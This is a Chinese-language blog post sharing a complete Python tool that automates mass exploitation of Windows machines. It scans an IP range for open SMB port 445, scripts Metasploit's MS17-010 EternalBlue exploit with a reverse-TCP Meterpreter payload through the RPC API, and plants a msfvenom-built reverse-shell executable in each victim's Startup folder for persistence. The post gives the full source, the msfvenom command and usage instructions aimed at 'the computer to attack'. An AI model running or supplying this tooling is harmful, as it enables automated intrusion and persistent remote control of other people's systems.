摘要:这是一篇整理四五年前的代码发现的小玩意......主要记录使用python3自动调用Metasploit进而全自动获取shell

安装依赖库

pip3 install msgpack
pip3 install python-nmap
pip3 install IPy

文件结构

关于远程调用Metasploit RPC API的实现.png

源代码

main.py

import nmap
import optparse
from IPy import IP
from pymsfrpc import MsfRpcClient
import time


def find_target(host):
    target_list=[]
    for target in IP(str(host))[0:]:
        
        target=str(target)
        scanner=nmap.PortScanner()
        rst=scanner.scan(target,'445')
        if rst['nmap']['scanstats']['uphosts'] == '0':
            print('Host not up:'+target)
            continue
        state=rst['scan'][target]['tcp'][445]['state']
        if state =='open':
            target_list.append(target)
            print(str(target)+' with 445 port open, there may be a vulnerability in ms17_010')
        else:
            print(str(target)+' 445 port not open!')
    return target_list


def create_file(configfile,target,lhost):
    configfile.write('use exploit/windows/smb/ms17_010_eternalblue\n')
    configfile.write('set rhost '+target+'\n')
    configfile.write('set payload windows/x64/meterpreter/reverse_tcp\n')
    lport=4444+int(target.split('.')[-1])
    configfile.write('set lport '+str(lport)+'\n')
    configfile.write('set lhost '+str(lhost)+'\n')
    configfile.write('exploit -j -z\n')
    print("Your shell will created at "+ str(lhost) + ":"+str(lport))


def main():
    ip = "127.0.0.1"
    port = "55553"
    user = "msf"
    passwd = "msf"
    c = MsfRpcClient.Client(ip,port,user,passwd)
    parser = optparse.OptionParser('%prog -H <target> -L <lhost>')
    parser.add_option('-H',dest='host',type='string')
    parser.add_option('-L',dest='lhost',type='string')
    (options,args) = parser.parse_args()
    host=options.host
    lhost=options.lhost
    if host == None:
        parser.print_help()
        exit(0)
    target_list=find_target(host)
    for target in target_list:
        configfile = open('meta.rc','a')
        create_file(configfile,target,lhost)
        configfile.close()
    command='resource /root/下载/jiaoben/meta.rc'
    console_id = c.create_console().get(b'id')
    res = c.get_version()
    resp = c.write_console(console_id,command)
    time.sleep(5)
    res = c.read_console(console_id)
    time.sleep(60)
    c.destroy_console(console_id)
    time.sleep(30)
    res=c.list_sessions()
    for key,value in res.items():
        print(key)
        print(c.runsingle(key,'upload /root/shell.exe '+'"C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"'))
        c.read_meterpreter(key)
if __name__ == '__main__':
    main()

/root/shell.exe的生成方式为:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.2.107 lport=6666 -f exe > /root/下载/jiaoben/shell.exe

MsfRpcClient.py的文件内容为:

import msgpack
import http.client as request


class AuthError(Exception):
    """
    登录认证错误异常处理
    """
    def __init__(self):
        print("登录失败,检查账户密码")


class ConnectionError(Exception):
    """
    链接msfrpc错误异常处理
    """
    def __init__(self):
        print("连接失败,服务端或网络问题")


class Client(object):
    """
    MsfRPC Client客户端,发送处理命令行参数
    """
    def __init__(self,ip,port,user,passwd):
        # 属性
        self.user = user
        self.passwd = passwd
        self.server = ip
        self.port = port
        self.headers = {"Content-Type": "binary/message-pack"}
        self.client = request.HTTPConnection(self.server,self.port)
        self.auth()


    #装饰器对属性读写前的处理
    @property
    def headers(self):
        return self._headers

    @headers.setter
    def headers(self,value):
        self._headers = value

    @property
    def options(self):
        return self._options

    @options.setter
    def options(self,value):
        #将数据打包为通用模式
        self._options = msgpack.packb(value)

    @property
    def token(self):
        return self._token

    @token.setter
    def token(self,value):
        self._token = value

    def auth(self):
        """
        登录认证函数
        :return 一串随机的token值:
        """
        print("Attempting to access token")
        self.options = ["auth.login",self.user,self.passwd]
        try:
            self.client.request("POST","/api",body=self.options,headers=self.headers)
        except:
            ConnectionError()
        c = self.client.getresponse()
        if c.status != 200:
           raise ConnectionError()
        else:
            res = msgpack.unpackb(c.read())
            print(res)
            if b'error' not in res.keys() and res[b'result'] == b'success':
                self.token = res[b'token']
                print("Token recived:> %s",self.token)
            else:
                raise AuthError()

    def send_command(self,options):
        self.options = options
        self.client.request("POST","/api",body=self.options,headers=self.headers)
        c = self.client.getresponse()
        if c.status != 200:
            raise ConnectionError()
        else:
            res = msgpack.unpackb(c.read())
            return res


    def get_version(self):
        """
        获取msf和ruby的版本信息
        :return ruby 和 msf vresion:
        """
        res = self.send_command(["core.version",self.token])
        return res

    def runsingle(self,ses_id,data):
        """
        Run a single meterpreter command

        Mandatory Arguments:
        - data : arbitrary data or command
        """
        res = self.send_command(["session.meterpreter_run_single",self.token,ses_id,data])
        return res

    def create_console(self):
        """
        创建一个虚拟终端
        :return :
        """
        res = self.send_command(["console.create",self.token])
        return res

    def destroy_console(self,console_id):
        """
        销毁一个终端
        :param console_id 终端id:
        :return:
        """
        #console_id = str(console_id)
        res = self.send_command(["console.destroy",self.token,console_id])
        return res

    def list_consoles(self):
        """
        获取一个已获取的终端列表,【id,prompt,busy】
        :return list[id,prompt,busy]:
        """
        res = self.send_command(["console.list",self.token])
        return res

    def write_console(self,console_id,data,process=True):
        """
        向终端中写命令
        :param console_id: id
        :param data:要发送到终端的命令
        :param process:
        :return:
        """
        if process == True:
            data +="\n"
        str(console_id)
        res = self.send_command(["console.write",self.token,console_id,data])
        return res

    def read_console(self,console_id):
        """
        获取发送命令后终端的执行结果
        :param console_id:
        :return:
        """
        str(console_id)
        res = self.send_command(["console.read",self.token,console_id])
        return res

    def list_sessions(self):
        """
        列出所有session信息
        :return:
        """
        res = self.send_command(["session.list",self.token])
        return res

    def stop_session(self,ses_id):
        """
        停止一个session
        :param ses_id:
        :return:
        """
        str(ses_id)
        res = self.send_command(["session.stop",self.token,ses_id])
        return res

    def read_shell(self,ses_id,read_ptr=0):
        """
        获取session执行shell信息
        :param ses_id:
        :param read_ptr:
        :return:
        """
        str(ses_id)
        res = self.send_command(["session.shell_read",self.token,ses_id,read_ptr])
        return res

    def write_shell(self,ses_id,data,process=True):
        """
        向一个shell发送命令
        :param ses_id:
        :param data:
        :param process:
        :return:
        """
        if process == True:
            data += "\n"
        str(ses_id)
        res = self.send_command(["session.shell_write",self.token,ses_id,data])
        return res

    def write_meterpreter(self,ses_id,data):
        """
        向meterpreter发送命令
        :param ses_id:
        :param data:
        :return:
        """
        str(ses_id)
        res = self.send_command(["session.meterperter_write",self.token,ses_id,data])
        return res

    def read_meterpreter(self,ses_id):
        """
        读取meterpreter信息
        :param ses_id:
        :return:
        """
        str(ses_id)
        res = self.send_command(["session.meterperter_read",self.token,ses_id])
        return res

    def run_module(self,_type,name,HOST,PORT,payload=False):
        """
        执行模块
        :param _type:
        :param name:
        :param HOST:
        :param PORT:
        :param payload:
        :return:
        """
        if payload != False:
            d = ["module.execute",self.token,_type,name,{"LHOST":HOST,"LPOST":PORT}]
        else:
            d = ["module.execute",self.token,_type,name,{"RHOST":HOST,"RHOST":PORT}]
        res = self.send_command(d)
        return res

# this if statement is for testing funtions inside of auth
# only put tests here
# if __name__ == "__main__":
#     auth = Client("127.0.0.1","msf","yFdkc6fB")
#     print(auth.get_version())
#     print(auth.list_consoles())
#     print(auth.create_console())
#     print(auth.read_console(1))
#     print(auth.write_console(1,"ls"))
#     print(auth.destroy_console(1))
#     print(auth.list_sessions())
#     print(auth.run_module("exploit","ms17_010_eternalblue","1.1.1.1","1"))

使用方法

python3 main.py -H 要攻击电脑的ip -L 本机ip

参考资料

Metaspolit结合Python的使用
MSF API请求
Metaspolit-standard-api-methods-reference
msfrpc_console

文章目录